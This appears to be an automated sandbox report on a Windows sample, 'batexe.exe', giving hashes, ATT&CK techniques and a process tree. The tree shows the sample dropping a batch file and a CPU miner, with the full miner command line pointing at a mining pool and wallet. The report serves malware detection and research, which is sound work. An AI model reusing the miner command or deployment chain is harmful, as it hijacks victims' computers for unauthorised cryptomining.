73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
304s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
19/02/2024, 16:24

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
4256	b2e.exe
1916	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1916	cpuminer-sse2.exe
1916	cpuminer-sse2.exe
1916	cpuminer-sse2.exe
1916	cpuminer-sse2.exe
1916	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1980-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1980 wrote to memory of 4256	1980	batexe.exe	83
PID 1980 wrote to memory of 4256	1980	batexe.exe	83
PID 1980 wrote to memory of 4256	1980	batexe.exe	83
PID 4256 wrote to memory of 2148	4256	b2e.exe	84
PID 4256 wrote to memory of 2148	4256	b2e.exe	84
PID 4256 wrote to memory of 2148	4256	b2e.exe	84
PID 2148 wrote to memory of 1916	2148	cmd.exe	87
PID 2148 wrote to memory of 1916	2148	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Users\Admin\AppData\Local\Temp\9904.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9904.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9904.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A3F1.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2148
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9904.tmp\b2e.exe

Filesize
18.1MB

MD5
cd73012c21bfa755039cde440e6b68bd

SHA1
ebce8b7f2b8b42dfe2eb5c3e23b7e503d788c6c8

SHA256
f47922acff9f2f859fc4d75d2ee852882508ae4c6aa6d7b1db8a6d0ccc17a52f

SHA512
3b24271b73df56c2563ade96d3569635ec4a2f8f2c70a41cebb8913bfd2b7ffc01f9a8b4cc36201465a5965def78c7885820a7c041acc34f89aabf9d26a36ad3

Download Submit
C:\Users\Admin\AppData\Local\Temp\9904.tmp\b2e.exe

Filesize
1.4MB

MD5
2dfac40138b4fe24c33bc6ea56e726b7

SHA1
249b6674afef631c975abe8cd0c3af0e12077e29

SHA256
038c8bc3781ccb119c000b724243e06c8ce4c29e5faf63df757b43d7431931c1

SHA512
c313357fc09f0695076cf1fe6955f5be7c0902c0cbc8052938f1b1a15d7ed39552c17a318576462d8dbe532482e5592611107bfeaa2af02d8a30f6c1b313b3f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\9904.tmp\b2e.exe

Filesize
192KB

MD5
6ac4b534a8945150025756c2f85dd2d4

SHA1
4f8633cd78b9248d5885e75ff1b26ef27a196ad1

SHA256
2e07e008a86c33e31905b1f49b18245261ad08ed3463c6750d63502e1e20e43d

SHA512
303f0cd104441235da58583af1597994df43d0a2d55d6245e89fc7d8f2509915525925277636214722e922f2939c93ba95627d54a18105d6cfa8e606b2f3c172

Download Submit
C:\Users\Admin\AppData\Local\Temp\A3F1.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
96KB

MD5
90e88aa0f39b5b15e624f5618a889642

SHA1
099f6deaa6cfb7479a4f342248926efad076964c

SHA256
6be865d3ff0a33e42872397994631687e691ec28a3e369b3eaf09913b9f1316c

SHA512
e2b14acb428ab74219963ebbb80bae60a4bd3c99022c47a064f750344e52437e2876c521eed87a306da2484753c7ebf7643413bccee9abb88d88bab5540c3527

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
e6d94526e8f637b252224c00250cd0da

SHA1
52e71cae006470629d58a7c2d385aa58314b441f

SHA256
4a159b5f8f0bd8f6c34597b680fabe4f1b3d5a48f15fe546b351d23e835aaf2b

SHA512
f75c757df95c21344664906ca410eaca221a5a820d950984b58033473e1616c3de1578d3fcc35b46fb56756149673f9b2d90d5aa9443bdb1a0a76a10263684d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
973KB

MD5
85c4f345562e9c04f2f428b1c2b8d8d5

SHA1
826fa0185ff3c7f6da5efec525d87f5f69b82104

SHA256
14de450bbfe8b8fee6021268451581e0b4fe6f118b279b287065801c23b76bef

SHA512
83728c27c769bdf99b97b46414592759e04d6c255a6fce959b6303d67033ad2a76ac43744aec1a72663c6a1ac774f32f070ee03e48e369e2e4f0644d64a3581a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
6fe73fb577cee9e49c7c6f57330d9b75

SHA1
3c5417cc00c531ac964d89c102cd4ed88f379d81

SHA256
c9c6657fb75e58f4c59ae5bf6f4615fe955edb80f33b9f1e7f0e61708bf32865

SHA512
ac5c52610ca6aaf22ac9afdff6b2f3ab3f19b88003ed733d04648d446794ecafa0c6c43b8f6de5986f0b03ed0210ddba23ac6434ec99d63bdb9d56516b4c4d56

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.1MB

MD5
ba980838a6ce002875f0ef5af2a61f1e

SHA1
e39680904583020f86a03afea11cd3cb4d0a4732

SHA256
56420d7823d0cdab2c30e1e91e19f2cb41b01ac0e9738024ae2cb645c4a9decf

SHA512
99a0646946c726bcc700392698ebc39c570afd5afcf478a6d7d30022ed0111e16a225c04358ec0ad2866f7424b197ae800e7ea2917724c5d2caa08faf60c89be

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
458KB

MD5
a3b28798c8789cef70464dbbc8182017

SHA1
ef8593289bdfdec7af86621c7a8e4ce8a55d9c51

SHA256
83c51ca7c71df735460d775d58674c3588f36f25adb34c5651ae56b6758f1959

SHA512
fe945dd157a3b820f71668b25e2ccd80a6d2b7851f908a4b7ae0738540273b1b7dec68195a2f47bb30f13d865b18e7c9668e9dda2f02929a9256cd8e38946734

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
768KB

MD5
613807ad6d525aded318b643c33bc17e

SHA1
2c9a4180140838c69c20bc4047c3d2d777d3bee4

SHA256
896775bd33edafb0d219d1ae3e973e71aa29a4937d0252bd3a4cad074c004971

SHA512
d688b0f2570944898097dcc6acb56b3a4c901073f0ce22b5ea260b05a37fe2840d84b44e7aa74c7d73078b0e5a45c24994852f5c03f049982b6ddca6ead89539

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
9KB

MD5
49c78d155b7472f8c122de17eaffdb51

SHA1
0fc1cc43b1b09eac5c548691b62947a4326759ad

SHA256
8191a1456239e6ba05961a3af97fa447fc87b7d325144e8b4ffb00ff03c843a0

SHA512
e02b41f25b139afa2f9d78fac329162adfafeb490a5c51fc43a6b9e11a15c1c14a5d252d689c248aa7ecc60960516d40a85117b3ab6e756f65031f1088e47e16

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1916-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1916-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1916-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1916-46-0x0000000061140000-0x00000000611D8000-memory.dmp

Filesize
608KB

Download
memory/1916-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1916-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1916-47-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/1916-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1916-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1916-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1916-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1916-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1916-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1916-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1980-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4256-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4256-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download